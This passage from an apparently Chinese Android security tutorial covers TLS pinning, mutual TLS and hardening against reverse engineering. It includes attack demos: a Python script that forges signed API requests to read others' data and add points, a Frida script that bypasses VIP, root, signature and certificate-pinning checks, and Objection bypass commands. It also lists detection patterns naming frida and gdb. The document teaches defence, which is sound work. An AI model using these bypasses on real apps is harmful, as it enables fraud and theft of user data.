CipherSuite.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384)
.build();
// ===== ③ 构建 Client =====
client = new OkHttpClient.Builder()
.certificatePinner(pinner)
.connectionSpecs(Collections.singletonList(spec))
// ★ 禁止重定向(或手动控制,防 SSRF / 开放重定向)
.followRedirects(false)
.followSslRedirects(false)
// ★ 超时
.connectTimeout(15, TimeUnit.SECONDS)
.readTimeout(20, TimeUnit.SECONDS)
.writeTimeout(20, TimeUnit.SECONDS)
// ★ 拦截器:加签名头、加设备指纹、记录审计日志
.addInterceptor(new SigningInterceptor())
.addInterceptor(new DeviceFingerprintInterceptor())
// ★ 只在 debug 加日志拦截器(★ 生产绝不能加!会打印全部请求内容)
// .addInterceptor(new HttpLoggingInterceptor().setLevel(BODY))
.build();
}
public OkHttpClient get() {
return client;
}
}
✅ 修复 3:双向 TLS(App 端带客户端证书) —— ★ 金融级
/**
* ✅ 双向 TLS:不仅 App 验证服务端,服务端也验证 App
*
* ★ 解决的问题:
* 证书绑定只是"防止中间人",但攻击者可以:
* ① 反编译拿到接口(不看流量也行)
* ② 用 Frida Hook 掉证书校验
* ③ 直接用 curl 调接口
* 双向 TLS 能挡住 ③ —— 因为 curl 没有客户端证书
*
* ⚠️ 注意:
* 双向 TLS 挡不住 ①②(攻击者拿到了 App 本身,证书也在 App 里)
* 所以它是【提高门槛】,不是根治方案
* ★ 根治:接口签名(见 4.7 节)+ 设备指纹 + 风控
*/
public class MutualTlsClient {
public OkHttpClient create(Context ctx) {
try {
// ① 从 Keystore 里取客户端证书(★ 不要放在 assets 里,会被反编译出来)
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
KeyStore.PrivateKeyEntry entry = (KeyStore.PrivateKeyEntry)
keyStore.getEntry("client_cert_alias", null);
// ② 服务端 CA(验证服务端)
X509TrustManager trustManager = createTrustManager(ctx);
// ③ 构建 SSLContext
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(
new KeyManager[] { createKeyManager(entry) },
new TrustManager[] { trustManager },
new SecureRandom());
return new OkHttpClient.Builder()
.sslSocketFactory(sslContext.getSocketFactory(),
(X509TrustManager) trustManager)
.build();
} catch (Exception e) {
throw new RuntimeException("初始化双向 TLS 失败", e);
}
}
}
4.3.5 Android 存储与传输 Checklist
| # | 检查项 | 优先级 |
|---|---|---|
| 1 | android:allowBackup="false"(★ 否则 adb backup 一键导出) |
★★★ |
| 2 | android:debuggable="false"(生产) |
★★★ |
| 3 | usesCleartextTraffic="false"(禁明文 HTTP) |
★★★ |
| 4 | networkSecurityConfig 配置:只信任 system 证书 |
★★★ |
| 5 | 证书绑定(XML + OkHttp 双保险),必须有备份 pin | ★★★ |
| 6 | 敏感数据用 EncryptedSharedPreferences,不存明文 SP |
★★★ |
| 7 | 密钥/证书用 Android Keystore(不要硬编码、不要放 assets) | ★★★ |
| 8 | 绝不存密码明文(连加密都不存,用完即弃) | ★★★ |
| 9 | 日志:生产关闭 DEBUG,且敏感字段脱敏 | ★★★ |
| 10 | Release 用 R8 移除所有 Log.d/v/i 调用 |
★★ |
| 11 | 敏感数据库用 SQLCipher 加密 | ★★ |
| 12 | 禁止敏感数据存外部存储(SD 卡) | ★★ |
| 13 | 截图防护:敏感页面 FLAG_SECURE(防截屏/录屏) |
★ |
| 14 | 剪贴板:敏感信息禁止复制,用完清空 | ★ |
4.4 Android 逆向、Hook 与加固对抗
4.4.1 攻击者能做什么(先建立认知)
拿到一个 APK 之后,攻击者可以:
① 【静态分析】(不需要运行 App)
- apktool 反编译出 smali 代码、AndroidManifest、资源文件
- jadx / JADX-GUI 把 dex 反编译成【近乎原始的 Java 代码】
- strings 提取所有字符串(★ URL、API Key、密钥一眼看到)
- 查看 assets/res 里的配置文件
② 【动态分析】(运行 App,边跑边看)
- Frida:Hook 任意 Java / Native 函数,改参数、改返回值
- Xposed:系统级 Hook,改系统 API 的行为
- 动态调试(IDA / GDB):下断点,单步执行
- 内存 dump:把内存里的密钥、Token 导出来
③ 【篡改重打包】
- 改代码(比如把"VIP 校验"改成恒返回 true)
- 重新签名 → 安装 → 一个"破解版"诞生
- ★ 如果服务端不做校验,破解版能正常使用
④ 【协议分析】
- 抓包(装证书 / Hook SSL 校验 / 用 VPN 转发)
- 拿到接口和参数 → 用 curl / Python 直接调
⑤ 【自动化】
- 改内存(GameGuardian / 烧饼修改器):改余额、改分数
- 多开 / 模拟器:批量注册、薅羊毛
- 自动化脚本:批量刷接口
生活类比(★ 记住这个):
你的 App 就像一个被寄到客户家的保险箱。 静态分析 = 客户拿 X 光扫描,看清楚里面结构; 动态分析 = 客户接上探针,看你怎么开; 篡改重打包 = 客户把锁拆了换个假的; 抓包 = 客户窃听你和总部的通信。
★ 所以:保险箱里不能放金库钥匙,保险箱的锁不能是唯一防线。
4.4.2 常用逆向工具(★ 面试要知道名字和用途)
| 工具 | 作用 | 典型命令 |
|---|---|---|
| apktool | 反编译资源 + smali,可回编译 | apktool d app.apk -o out |
| jadx | dex → Java 源码(最接近原始代码) | jadx-gui app.apk |
| dex2jar + JD-GUI | dex → jar → Java(老牌方案) | d2j-dex2jar app.apk |
| Frida | ★ 动态 Hook 神器(JS 写脚本) | frida -U -f com.x.app -l hook.js |
| Xposed / LSPosed | 系统级 Hook(需要 Root) | 写模块,重启生效 |
| Objection | Frida 的封装,开箱即用 | objection -g com.x.app explore |
| Burp Suite | 抓包改包(移动端主要工具) | 配合代理 + 证书 |
| Charles | 抓包(图形化,易用) | 手机配代理 |
| Postern / ProxyDroid | ★ VPN 模式抓包(绕过 App 的代理检测) | 手机装 VPN App |
| MobSF | ★ 自动化移动安全扫描(一站式) | docker run opensecurity/mobile-security-framework |
| keytool / apksigner | 查看签名、重新签名 | keytool -printcert -jarfile app.apk |
4.4.3 攻击演示 1:静态分析拿到硬编码密钥
# ===== ① 解压 APK =====
unzip -o app-release.apk -d /tmp/apk
# ===== ② 提取所有字符串,找密钥(★ 最快的方法,30 秒出结果)=====
strings /tmp/apk/classes.dex | grep -iE "key|secret|token|password|api"
# 输出可能是:
# https://api.example.com/v1/
# sk_live_51H8xYz...
# AES_SECRET_KEY_2024
# -----BEGIN RSA PRIVATE KEY-----
# app_debug_key
# ===== ③ 用 jadx 看 Java 代码 =====
jadx-gui app-release.apk
# 搜索关键词:
# "AES" → 找到加解密代码和密钥
# "http" → 找到所有接口地址
# "sign" → ★ 找到接口签名算法(★ 最致命,签名算法被知道了就能伪造请求)
# "SharedPreferences" → 找到存储位置和内容
# "Log.d" → 看看有没有敏感信息被打印
# ===== ④ 查看 AndroidManifest =====
apktool d app-release.apk -o /tmp/apk_out
cat /tmp/apk_out/AndroidManifest.xml | grep -E "exported|debuggable|allowBackup|scheme"
# ===== ⑤ 查看资源文件里的配置 =====
cat /tmp/apk_out/res/values/strings.xml
# 经常能找到:
# <string name="api_key">AIzaSyD-xxxxx</string> ← Google API Key
# <string name="aws_key">AKIAxxxxx</string> ← AWS Key
# <string name="base_url">https://api.example.com</string>
★ 真实案例:签名算法被逆向 = 接口完全失守
// ❌ 反编译出来的签名算法(攻击者看到的就是这个)
public class ApiSigner {
private static final String SECRET = "my_secret_key_2024"; // ★ 硬编码,直接暴露
public static String sign(Map<String, String> params) {
// ① 参数排序
List<String> keys = new ArrayList<>(params.keySet());
Collections.sort(keys);
// ② 拼接 key=value&
StringBuilder sb = new StringBuilder();
for (String k : keys) {
sb.append(k).append("=").append(params.get(k)).append("&");
}
sb.append("key=").append(SECRET); // ★ 密钥在这里
// ③ MD5
return md5(sb.toString()).toUpperCase();
}
}
攻击者拿到之后:
#!/usr/bin/env python3
# attack.py —— 用逆向出来的算法伪造任意请求
import hashlib, requests, time
SECRET = "my_secret_key_2024" # ★ 从 APK 里扒出来的
def sign(params: dict) -> str:
sb = ""
for k in sorted(params.keys()):
sb += f"{k}={params[k]}&"
sb += f"key={SECRET}"
return hashlib.md5(sb.encode()).hexdigest().upper()
def call(path, params):
params["timestamp"] = str(int(time.time()))
params["sign"] = sign(params) # ★ 签名正确,服务端认
return requests.post(f"https://api.example.com{path}", json=params)
# ★ 攻击者可以做任何事:
print(call("/v1/user/query", {"user_id": "1"})) # 查别人信息(BOLA)
print(call("/v1/order/list", {"user_id": "1"})) # 拖别人的订单
print(call("/v1/points/add", {"user_id": "1", "amount": "999999"})) # 给自己加积分
★ 这个例子说明了什么(面试核心):
- 客户端的签名算法 = 公开的。无论你怎么混淆,
SECRET一定在 App 里,一定能被扒出来。- 所以客户端签名的真正作用不是“防伪造”,而是“提高门槛 + 防重放 + 防脚本小子”。
- 真正的安全必须在服务端:BOLA 校验、业务规则校验、风控、限流。
- 更好的做法是签名密钥动态下发(登录后由服务端下发一个 session key,且绑定设备), 这样至少攻击者不能直接从 APK 里拿到一个“永久有效的签名密钥”。
4.4.4 攻击演示 2:Frida Hook(改内存 / 绕过校验 / 拿到明文)
// hook_vip.js —— Frida 脚本:绕过 VIP 校验
// 用法:frida -U -f com.example.app -l hook_vip.js --no-pause
Java.perform(function () {
// ===== ① Hook VIP 校验方法,让它永远返回 true =====
var UserManager = Java.use("com.example.app.manager.UserManager");
UserManager.isVip.implementation = function () {
console.log("[*] isVip() 被调用,原返回值: " + this.isVip());
return true; // ★ 强制返回 true
};
// ===== ② Hook 余额校验 =====
var AccountService = Java.use("com.example.app.service.AccountService");
AccountService.getBalance.implementation = function () {
var real = this.getBalance();
console.log("[*] 真实余额: " + real);
return 99999999; // ★ 改余额
};
// ===== ③ Hook 加密函数,拿到加解密前/后的明文(★ 最常用)=====
var CryptoUtil = Java.use("com.example.app.util.CryptoUtil");
CryptoUtil.encrypt.implementation = function (plaintext, key) {
console.log("[+] encrypt 明文: " + plaintext);
console.log("[+] encrypt 密钥: " + key); // ★ 密钥也拿到了
var result = this.encrypt(plaintext, key);
console.log("[+] encrypt 密文: " + result);
return result;
};
CryptoUtil.decrypt.implementation = function (ciphertext, key) {
var result = this.decrypt(ciphertext, key);
console.log("[+] decrypt 明文: " + result); // ★ 服务端返回的内容全看到了
return result;
};
// ===== ④ Hook OkHttp,抓所有请求(绕过证书绑定)=====
var OkHttpClient = Java.use("okhttp3.OkHttpClient");
// 更简单的方式:Hook CertificatePinner 让它不校验
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', 'java.util.List')
.implementation = function (hostname, peerCertificates) {
console.log("[+] 绕过证书绑定: " + hostname);
return; // ★ 直接返回,不做校验
};
// ===== ⑤ Hook 签名函数,看签名参数 =====
var ApiSigner = Java.use("com.example.app.util.ApiSigner");
ApiSigner.sign.implementation = function (params) {
console.log("[+] 签名参数: " + params.toString());
var sig = this.sign(params);
console.log("[+] 签名结果: " + sig);
return sig;
};
// ===== ⑥ Hook SSLContext,让它信任所有证书(万能抓包绕过)=====
var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom'
).implementation = function (km, tm, sr) {
console.log("[+] SSLContext.init 被调用,替换为信任全部");
// 用自定义的 TrustManager 替换(什么都不校验)
var TrustAllManager = Java.registerClass({
name: 'com.frida.TrustAllManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function (chain, authType) {},
checkServerTrusted: function (chain, authType) {},
getAcceptedIssuers: function () { return []; }
}
});
var trustAll = TrustAllManager.$new();
return this.init(km, [trustAll], sr);
};
// ===== ⑦ 绕过 Root 检测 =====
var RootChecker = Java.use("com.example.app.security.RootChecker");
RootChecker.isDeviceRooted.implementation = function () {
console.log("[+] 绕过 Root 检测");
return false;
};
// ===== ⑧ 绕过签名校验(重打包后能正常运行)=====
var SignatureChecker = Java.use("com.example.app.security.SignatureChecker");
SignatureChecker.verify.implementation = function () {
console.log("[+] 绕过签名校验");
return true;
};
// ===== ⑨ 批量 Hook:枚举某个类的所有方法 =====
var TargetClass = Java.use("com.example.app.service.PaymentService");
var methods = TargetClass.class.getDeclaredMethods();
methods.forEach(function (m) {
console.log("[*] 发现方法: " + m.getName());
});
});
# ===== 实战命令 =====
# ① 查看连接的设备
frida-ls-devices
# ② 列出手机上所有 App 包名
frida-ps -Ua
# ③ 注入脚本
frida -U -f com.example.app -l hook_vip.js --no-pause
# ④ 用 Objection(Frida 的封装,开箱即用,★ 推荐新手)
objection -g com.example.app explore
# 进入交互界面后:
# android hooking list classes 列出所有类
# android hooking search classes com.example.app 搜索类
# android hooking watch class com.example.app.service.PaymentService
# android hooking watch class_method com.example.app.util.CryptoUtil.encrypt --dump-args --dump-return
# android sslpinning disable ★ 一键绕过证书绑定
# android root disable ★ 一键绕过 Root 检测
# memory dump all /sdcard/dump.dmp dump 内存
4.4.5 ✅ 防御:七层加固方案
✅ 防御 1:代码混淆(ProGuard / R8)—— 基础,必须有
// build.gradle
android {
buildTypes {
release {
minifyEnabled true // ★ 开启混淆
shrinkResources true // 移除无用资源
proguardFiles getDefaultProguardFile(
'proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
}
# proguard-rules.pro
# ===== ① 保留必要的(四大组件、序列化、JNI、反射用到的)=====
-keep public class * extends android.app.Activity
-keep public class * extends android.app.Service
-keep public class * extends android.content.BroadcastReceiver
-keep public class * extends android.content.ContentProvider
-keep public class * extends android.app.Application
-keep public class * extends androidx.fragment.app.Fragment
# ★ 注意:保留四大组件意味着【类名不混淆】,但方法名、字段名会混淆
# ===== ② Gson / Retrofit 的 Model 类要保留(因为用反射)=====
-keepclassmembers class com.example.app.model.** { *; }
-keep class com.example.app.model.** { *; }
# ===== ③ ★ 移除所有日志(★ 重要)=====
-assumenosideeffects class android.util.Log {
public static *** d(...);
public static *** v(...);
public static *** i(...);
}
# ===== ④ 混淆字典:用难以阅读的字符做类名(加大逆向难度)=====
-obfuscationdictionary obfuscation-dictionary.txt
-classobfuscationdictionary obfuscation-dictionary.txt
-packageobfuscationdictionary obfuscation-dictionary.txt
# ===== ⑤ ★ 字符串加密(需要商业加固工具,ProGuard 本身不支持)=====
# ProGuard 只能混淆类名/方法名/字段名,【不能加密字符串】
# 所以 strings 命令还是能看到所有 URL 和密钥
# ★ 这就是为什么需要商业加固(梆梆、360、腾讯乐固、爱加密)
# ===== ⑥ 移除调试信息 =====
-keepattributes SourceFile,LineNumberTable # ← 生产应该【删掉这行】
# ★ 删掉后崩溃日志没有行号,但加大了逆向难度
⚠️ 混淆的局限性(面试必答):
ProGuard/R8 能做的: ✅ 类名、方法名、字段名变成 a.b.c ✅ 移除无用代码和资源 ✅ 优化字节码 ProGuard/R8 【做不到】的: ❌ 加密字符串(strings 命令照样能看到密钥和 URL) ★ 最大短板 ❌ 防止 Frida Hook(Hook 是按方法名找的,混淆后照样能找) ❌ 防止动态调试 ❌ 防止重打包(改完代码重新签名照样能装) ★ 所以混淆只是"入门级防护",让逆向从"30 分钟"变成"3 小时"。 真正的加固需要:字符串加密 + 反调试 + 反 Hook + 完整性校验 + 加壳 (商业加固方案,或者自研 Native 层防护)
✅ 防御 2:密钥不硬编码(★ 最重要)
/**
* ❌❌❌ 错误做法(无论怎么混淆,strings 都能看到)
*/
public class BadKeyStore {
private static final String AES_KEY = "my_secret_key_2024"; // ❌
private static final String API_KEY = "sk_live_51H8xYz..."; // ❌
private static final String[] PI = {"3.14159..."}; // ❌ 伪装成常量也没用
}
/**
* ✅✅✅ 正确做法 1:密钥由服务端动态下发(★ 推荐)
*
* 流程:
* ① App 启动时(或登录后)调 /api/v1/get-session-key
* ② 服务端返回一个【随机生成的、绑定设备的、有过期时间】的 key
* ③ App 用这个 key 做签名(不是做加密!)
* ④ key 定期轮换(比如 2 小时)
*
* 好处:
* ✓ APK 里没有密钥 → strings 扒不到
* ✓ 每个设备/用户的 key 不同 → 一个泄露不影响全局
* ✓ 有过期时间 → 泄露影响可控
* ✓ 服务端可以主动吊销某个设备的 key
*/
public class SessionKeyManager {
private static volatile SessionKey cachedKey;
public static synchronized String getSignKey(Context ctx) throws Exception {
// ① 缓存里有且没过期 → 直接返回
if (cachedKey != null && !cachedKey.isExpired()) {
return cachedKey.getKey();
}
// ② 向服务端申请
String deviceId = DeviceFingerprint.getDeviceId(ctx);
String token = SecureStorageManager.getToken(ctx);
KeyResponse resp = api.getSessionKey(deviceId, token);
// ③ 用 Keystore 加密后存本地(★ 不存明文)
cachedKey = new SessionKey(
resp.getKey(),
resp.getExpiresAt(),
resp.getKeyId());
// ④ 存到 EncryptedSharedPreferences
saveKeyEncrypted(ctx, cachedKey);
return cachedKey.getKey();
}
/**
* ★ 服务端侧的实现要点(Java)
* - key 用 SecureRandom 生成 32 字节
* - key 与 (userId, deviceId) 绑定,换设备就失效
* - key 存 Redis,TTL 2 小时
* - 签名校验时:用 (userId, deviceId) 查出 key,再算签名比对
* - ★ 发现异常(同一个 key 在不同 IP 用)→ 立即吊销
*/
public record SessionKey(String key, long expiresAt, String keyId) {
public boolean isExpired() {
return System.currentTimeMillis() > expiresAt - 60_000; // 提前 1 分钟过期
}
}
}
/**
* ✅✅✅ 正确做法 2:加解密密钥用 Android Keystore 生成(★ 密钥根本不在 App 里)
*
* ★ 这是最优解:
* - 密钥由 Keystore 在【硬件/TEE 里】生成
* - App 只能说"请用这个 key 加密这段数据",拿不到 key 本身
* - 反编译、Hook、dump 内存都拿不到
*/
public class HardwareBackedCrypto {
// 见 4.3.3 节的 KeystoreManager,那个就是正确做法
// ★ 核心:KeyGenerator.getInstance(KEY_ALGORITHM_AES, "AndroidKeyStore")
}
/**
* ✅ 正确做法 3:白盒加密(White-Box Cryptography)
*
* 原理:把密钥"融化"进算法里,生成一个巨大的查找表
* → 攻击者即便拿到全部二进制,也提取不出密钥
* ★ 金融级方案,一般用商业 SDK(如 Arxan、WhiteCryption)
*
* 适用场景:必须在客户端做加解密,且密钥必须固定(比如离线数据解密)
*/
✅ 防御 3:完整性校验(防重打包)
/**
* ✅✅✅ App 完整性校验(防篡改重打包)
*
* 三重校验:
* ① 签名校验(防重打包 —— 重打包必然换签名)
* ② APK 文件哈希校验(防代码被改)
* ③ 安装来源校验(防从非官方渠道安装)
*/
public class IntegrityChecker {
private final Context ctx;
/** ★ 正确的签名指纹(自己 App 的,★ 不要硬编码明文,要拆分/混淆存储)*/
private static final String EXPECTED_SIGNATURE = decodeObfuscated();
/**
* ① 签名校验(★ 最重要)
*/
public boolean verifySignature() {
try {
PackageInfo pi;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
pi = ctx.getPackageManager().getPackageInfo(
ctx.getPackageName(), PackageManager.GET_SIGNING_CERTIFICATES);
Signature[] sigs = pi.signingInfo.getApkContentsSigners();
if (sigs == null || sigs.length == 0) return false;
return EXPECTED_SIGNATURE.equals(sha256(sigs[0].toByteArray()));
} else {
pi = ctx.getPackageManager().getPackageInfo(
ctx.getPackageName(), PackageManager.GET_SIGNATURES);
if (pi.signatures == null || pi.signatures.length == 0) return false;
return EXPECTED_SIGNATURE.equals(sha256(pi.signatures[0].toByteArray()));
}
} catch (Exception e) {
return false;
}
}
/**
* ② APK 文件校验和(防代码被改)
* ⚠️ 局限:重打包后攻击者可以改掉这个校验,所以只是提高门槛
*/
public boolean verifyApkChecksum() {
try {
String apkPath = ctx.getPackageCodePath();
String actual = sha256OfFile(apkPath);
// ★ 期望值从服务端拿(不硬编码在客户端)
String expected = fetchExpectedChecksumFromServer();
return actual.equals(expected);
} catch (Exception e) {
return false;
}
}
/**
* ③ 安装来源校验(防从第三方市场装的破解版)
*/
public boolean verifyInstallSource() {
try {
String installer = ctx.getPackageManager()
.getInstallerPackageName(ctx.getPackageName());
Set<String> ALLOWED = Set.of(
"com.android.vending", // Google Play
"com.huawei.appmarket", // 华为
"com.xiaomi.market", // 小米
"com.tencent.android.qqdownloader", // 应用宝
"com.oppo.market",
"com.vivo.appstore",
null // ★ null = 通过 adb 或本地安装(开发/测试)
);
return ALLOWED.contains(installer);
} catch (Exception e) {
return true; // 取不到就不拦(避免误伤)
}
}
/**
* ④ 代码完整性自检(Native 层,更难被 Hook)
* ★ 关键逻辑(校验、加密)应该用 C/C++ 写在 .so 里,
* so 的逆向难度 >> Java,而且可以用 O-LLVM 做代码混淆
*/
static {
System.loadLibrary("security");
}
private static native boolean nativeCheckIntegrity();
/**
* ★ 综合校验 + 响应
*/
public void checkAndRespond() {
boolean sigOk = verifySignature();
boolean srcOk = verifyInstallSource();
boolean nativeOk = nativeCheckIntegrity();
if (!sigOk || !nativeOk) {
// ★★ 关键决策:检测到篡改之后怎么办?
//
// 方案 A(激进):直接退出 + 上报
// 缺点:容易被误伤(比如某些渠道包会重签名),且攻击者 Hook 掉这个方法就没用了
//
// 方案 B(推荐):上报风控 + 服务端限制
// - 本地不"自杀"(避免误伤正常用户,也避免被 Hook 绕过)
// - 把"签名异常"作为【风控信号】上报给服务端
// - 服务端对这种设备【限制敏感操作】(转账、支付、改密)
// ★ 这样即便攻击者 Hook 掉了本地检测,服务端还是能靠其他信号识别
reportToRiskEngine("APP_TAMPERED", Map.of(
"signature_ok", sigOk,
"native_ok", nativeOk,
"install_source", getInstaller()));
// 本地做个温和的提示(不强退,避免误伤)
if (!sigOk) {
showWarningOnce("检测到应用完整性异常,部分功能可能受限");
}
}
}
/**
* ★ 签名指纹不要明文硬编码,拆开存 + 运行时拼接
*/
private static String decodeObfuscated() {
// 拆成多段,分散在不同地方(增加静态分析难度)
String[] parts = {
BuildConfig.SIG_PART_1, // 从 BuildConfig 注入
BuildConfig.SIG_PART_2,
new String(new char[]{'a', 'b', 'c'}), // 字符数组拼(避免被 strings 直接扫到)
};
return String.join("", parts);
}
private String sha256(byte[] data) throws Exception {
MessageDigest md = MessageDigest.getInstance("SHA-256");
return Base64.encodeToString(md.digest(data), Base64.NO_WRAP);
}
}
// build.gradle:把签名指纹分段注入 BuildConfig
android {
buildTypes {
release {
// ★ 在 CI 里计算真实签名,分段注入
buildConfigField "String", "SIG_PART_1", "\"${getSigPart(0, 16)}\""
buildConfigField "String", "SIG_PART_2", "\"${getSigPart(16, 32)}\""
}
}
}
✅ 防御 4:反调试检测(防动态分析)
/**
* ✅ 反调试检测(★ 提高动态分析门槛)
*/
public class AntiDebugChecker {
/**
* ① 检测是否被调试器附加
*/
public static boolean isDebuggerAttached() {
return android.os.Debug.isDebuggerConnected()
|| Debug.waitingForDebugger()
|| checkTracerPid();
}
/**
* ★ 检查 /proc/self/status 里的 TracerPid(★ 最可靠)
* 正常情况下 TracerPid = 0
* 被调试(gdb / IDA / Frida)时 TracerPid = 调试进程的 PID
*/
private static boolean checkTracerPid() {
try (BufferedReader reader = new BufferedReader(
new FileReader("/proc/self/status"))) {
String line;
while ((line = reader.readLine()) != null) {
if (line.startsWith("TracerPid:")) {
String pid = line.substring("TracerPid:".length()).trim();
return !"0".equals(pid);
}
}
} catch (Exception e) {
// 读不到,忽略
}
return false;
}
/**
* ② 检测 debuggable 标志(重打包后常被改成 true 以便调试)
*/
public static boolean isDebuggable(Context ctx) {
return (ctx.getApplicationInfo().flags
& ApplicationInfo.FLAG_DEBUGGABLE) != 0;
}
/**
* ③ 检测常见调试/注入工具的进程
*/
public static boolean hasDebuggerProcess() {
Set<String> SUSPICIOUS = Set.of(
"gdb", "gdbserver", "android_server", "ida", "idapro",
"frida", "frida-server", "fs_server", "lldb", "lldb-server",
"xposed", "substrate", "drozer");
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(Runtime.getRuntime().exec("ps").getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
for (String suspicious : SUSPICIOUS) {
if (line.toLowerCase().contains(suspicious)) {
return true;
}
}
}
} catch (Exception e) {
// 忽略
}
return false;
}
/**
* ④ ★ 检测 Frida 特征端口(默认 27042)
*/
public static boolean isFridaRunning() {
// 方式 1:检查端口
try (BufferedReader reader = new BufferedReader(
new FileReader("/proc/net/tcp"))) {
String line;
while ((line = reader.readLine()) != null) {
// 27042 = 0x69A2(十六进制,小端)
if (line.contains("69A2") || line.contains("A269")) {
return true;
}
}
} catch (Exception e) {
// 忽略
}
// 方式 2:检查 Frida 的 so 是否被加载
try (BufferedReader reader = new BufferedReader(
new FileReader("/proc/self/maps"))) {
String line;
while ((line = reader.readLine()) != null) {
if (line.contains("frida") || line.contains("gadget")) {
return true;
}
}
} catch (Exception e) {
// 忽略
}
return false;
}
/**
* ⑤ 检测 Xposed
*/
public static boolean isXposedInstalled() {
// 方式 1:检查栈里有没有 Xposed 的类(★ 最可靠)
try {
throw new Exception("check");
} catch (Exception e) {
for (StackTraceElement element : e.getStackTrace()) {
String cls = element.getClassName().toLowerCase();
if (cls.contains("xposed") || cls.contains("de.robv.android")) {
return true;
}
}
}
// 方式 2:检查 Xposed 的 so
String[] XPOSED_LIBS = {
"/system/lib/libxposed_art.so",
"/system/lib64/libxposed_art.so",
"/system/framework/XposedBridge.jar"
};
for (String lib : XPOSED_LIBS) {
if (new File(lib).exists()) return true;
}
// 方式 3:检查 Xposed Installer 包名
Set<String> XPOSED_PACKAGES = Set.of(
"de.robv.android.xposed.installer",
"io.va.exposed",
"org.lsposed.manager");
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(Runtime.getRuntime()
.exec("pm list packages").getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
for (String pkg : XPOSED_PACKAGES) {
if (line.contains(pkg)) return true;
}
}
} catch (Exception e) {
// 忽略
}
return false;
}
}
✅ 防御 5:Root 检测
/**
* ✅ Root 检测
*/
public class RootChecker {
public static boolean isDeviceRooted() {
return checkSuBinary() || checkBuildTags()
|| checkRootApps() || checkSystemWritable()
|| checkMagisk();
}
/** ① 检查 su 二进制 */
private static boolean checkSuBinary() {
String[] SU_PATHS = {
"/system/bin/su", "/system/xbin/su", "/sbin/su",
"/system/su", "/system/bin/.ext/su", "/system/usr/we-need-root/su",
"/data/local/su", "/data/local/bin/su", "/data/local/xbin/su",
"/su/bin/su", "/magisk/.core/bin/su"
};
for (String path : SU_PATHS) {
if (new File(path).exists()) return true;
}
return false;
}
/** ② 检查 build tags(test-keys = 非官方 ROM)*/
private static boolean checkBuildTags() {
String tags = Build.TAGS;
return tags != null && tags.contains("test-keys");
}
/** ③ 检查常见 Root 管理 App */
private static boolean checkRootApps() {
Set<String> ROOT_APPS = Set.of(
"com.noshufou.android.su",
"com.thirdparty.superuser",
"eu.chainfire.supersu",
"com.topjohnwu.magisk", // Magisk
"com.kingroot.kinguser",
"com.koushikdutta.superuser"
);
PackageManager pm = AppContext.get().getPackageManager();
for (String pkg : ROOT_APPS) {
try {
pm.getPackageInfo(pkg, 0);
return true;
} catch (PackageManager.NameNotFoundException e) {
// 没装
}
}
return false;
}
/** ④ 检查系统分区是否可写 */
private static boolean checkSystemWritable() {
String[] paths = {"/system", "/system/bin", "/system/sbin",
"/system/xbin", "/vendor/bin", "/sbin", "/etc"};
for (String path : paths) {
File f = new File(path);
if (f.exists() && f.canWrite()) return true;
}
return false;
}
/** ⑤ 检查 Magisk */
private static boolean checkMagisk() {
return new File("/sbin/.magisk").exists()
|| new File("/data/adb/magisk").exists()
|| new File("/cache/.disable_magisk").exists();
}
/**
* ★★ 重要设计决策:检测到 Root 之后怎么办?
*
* ❌ 错误做法:"检测到 Root 就禁止使用"
* 问题 1:误伤(很多开发者、极客用户 Root,但他们是正常用户)
* 问题 2:一定能被绕过(Frida Hook 一行代码就让 isDeviceRooted() 返回 false)
* 问题 3:把安全寄托在"客户端检测"上,本质上不可靠
*
* ✅ 正确做法:Root 状态作为【风控信号】,服务端决策
*/
public static void reportRootStatusToRiskEngine() {
boolean rooted = isDeviceRooted();
// 上报给服务端(作为风控的一个维度)
RiskReport.report("DEVICE_ROOT_STATUS", Map.of(
"rooted", rooted,
"su_binary", checkSuBinary(),
"magisk", checkMagisk(),
"xposed", AntiDebugChecker.isXposedInstalled(),
"debugger", AntiDebugChecker.isDebuggerAttached(),
"emulator", EmulatorChecker.isEmulator(),
"device_model", Build.MODEL,
"android_version", Build.VERSION.RELEASE
));
// ★ 服务端根据综合评分决策:
// 低风险(Root 但其他都正常) → 正常使用
// 中风险(Root + Hook 框架) → 允许浏览,敏感操作加验证码
// 高风险(Root + Frida + 模拟器) → 禁止支付、转账、改密
// ★ 而且这个决策在【服务端】,客户端改不了
}
}
✅ 防御 6:模拟器检测
/**
* ✅ 模拟器检测(防批量注册、薅羊毛)
*/
public class EmulatorChecker {
public static boolean isEmulator() {
return checkBuildFingerprint() || checkHardware()
|| checkDeviceIds() || checkSensors()
|| checkQemuFiles() || checkGenymotion();
}
/** ① Build 信息里的模拟器特征 */
private static boolean checkBuildFingerprint() {
return Build.FINGERPRINT.startsWith("generic")
|| Build.FINGERPRINT.toLowerCase().contains("vbox")
|| Build.FINGERPRINT.toLowerCase().contains("test-keys")
|| Build.MODEL.contains("google_sdk")
|| Build.MODEL.toLowerCase().contains("droid4x")
|| Build.MODEL.contains("Emulator")
|| Build.MODEL.contains("Android SDK built for x86")
|| Build.MANUFACTURER.contains("Genymotion")
|| Build.HARDWARE.contains("goldfish")
|| Build.HARDWARE.contains("ranchu")
|| Build.HARDWARE.contains("vbox86")
|| Build.PRODUCT.contains("sdk")
|| Build.PRODUCT.contains("google_sdk")
|| Build.PRODUCT.contains("sdk_google")
|| Build.PRODUCT.contains("sdk_x86")
|| Build.PRODUCT.contains("vbox86p")
|| Build.BOARD.toLowerCase().contains("nox")
|| Build.BOOTLOADER.toLowerCase().contains("nox");
}
/** ② 硬件名称 */
private static boolean checkHardware() {
String hardware = Build.HARDWARE.toLowerCase();
return hardware.contains("goldfish") // Android 模拟器
|| hardware.contains("ranchu") // Genymotion / AVD
